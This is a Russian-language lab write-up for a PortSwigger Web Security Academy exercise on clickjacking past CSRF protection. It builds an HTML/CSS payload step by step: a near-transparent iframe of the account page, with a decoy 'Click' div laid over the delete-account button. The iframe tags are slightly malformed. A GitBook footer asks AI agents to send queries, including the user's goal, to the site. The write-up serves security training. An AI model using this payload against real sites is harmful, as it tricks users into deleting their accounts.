> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/clickjacking/basic-clickjacking-with-csrf-protection.md).

# Базовый кликджекинг с CSRF-защитой

Заметки по базовому кликджекингу с CSRF-защитой для лабораторных работ PortSwigger Web Security Academy, включая процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст исправления.

### Простой кликджекинг с защитой CSRF-токеном

В этой лабораторной работе есть функция подключения, а также кнопка Delete account, защищённая **CRF-токен**. / Цель состоит в том, чтобы побудить пользователя нажать на элемент с надписью "Click" на приманочном сайте, чтобы удалить его аккаунт.

**Предоставленные учетные данные:**

* wiener : peter

На странице аккаунта мы находим функцию **Удалить учетную запись**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b59cc7809dd6525f82c3392758b6c3d2cb80f00d%2Fimage%20(359).png?alt=media" alt=""><figcaption></figcaption></figure>

Идея состоит в том, чтобы использовать **`<iframe>`** тег, чтобы встроить эту страницу в наш сайт и обманом заставить пользователя щёлкнуть по ней в нужном месте.

```html
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

Этот шаг позволяет нам отображать целевую страницу на нашем сайте.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5aa01982aa4144437fbfde75d2a805fa3f4b84d4%2Fimage%20(360).png?alt=media" alt=""><figcaption></figcaption></figure>

Поместите вводящий в заблуждение текст ("Click") точно над *Удалить учетную запись* кнопкой:

```html
<style>
iframe{
width: 500px;
height: 600px;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Click</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d05052f2fa08ab18507f8e82a34e1bbf285f23e8%2Fimage%20(361).png?alt=media" alt=""><figcaption></figcaption></figure>

Чтобы жертва не видела настоящий интерфейс,  **прозрачность** рамки уменьшается:

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Click</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

Если нижняя часть страницы не отображается, вероятно, это связано с отсутствием `frameborder="0"` параметра или политикой безопасности сайта. / Внешний вид можно настроить следующим образом:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc6c0e5e0ca3b4f2e72b54c03819370bdeb50539%2Fimage%20(362).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/clickjacking/basic-clickjacking-with-csrf-protection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
